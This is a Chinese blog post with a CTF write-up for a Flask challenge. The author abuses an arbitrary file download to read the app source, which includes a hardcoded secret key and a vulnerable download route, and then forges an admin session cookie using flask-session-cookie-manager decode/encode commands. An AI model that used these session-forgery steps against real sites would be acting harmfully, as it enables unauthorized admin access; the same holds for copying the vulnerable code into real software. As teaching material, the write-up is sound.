ctfhub 菜鸟杯 抽老婆 超详细 复现

 


一进来发现可以抽老婆,下面还有个下载按钮,有意思还可以吧,把老婆抱回家

 

 

 

然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥

 

 

 在里面发现source文件在/app/app.py里面,

 

 

 用之前发现的任意文件下载下载下来

 

 

 

 

 

 然后查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# Author     :g4_simon
from flask import *
import os
import random
from flag import flag
 
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
 
@app.route('/', methods=['GET'])
def index(): 
    return render_template('index.html')
 
 
@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)
 
 
 
@app.route('/download', methods=['GET'])
def source():
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)
 
 
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
 
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK

session安全问题

flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

1
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录

flask脚本链接:https://github.com/noraj/flask-session-cookie-manager

注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题

具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb

1
2
3
4
5
6
7
8
9
10
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
  
app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

  解密:找到秘钥后,去解密,解密格式如下:

1
python3 flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'

  然后就得到密文了

 

 

      加密:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码

1
2
3
4
if session['isadmin']:#如果是真isadmin,就可以拿到flag,如果假flag就输出下面的
       return jsonify({"msg":flag})
   else:
       return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

  加密格式:

1
python3 flask_session_cookie_manager3.py encode  -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}"

  特别注意后面需要"双引号"单引号不能成功

生成密文:

 

 最后把密文添加到cookie就可以成功获取flag了

补充说明:

 

 这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”

 

1
 
posted @   小熊猫爱bamboo  阅读(568)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示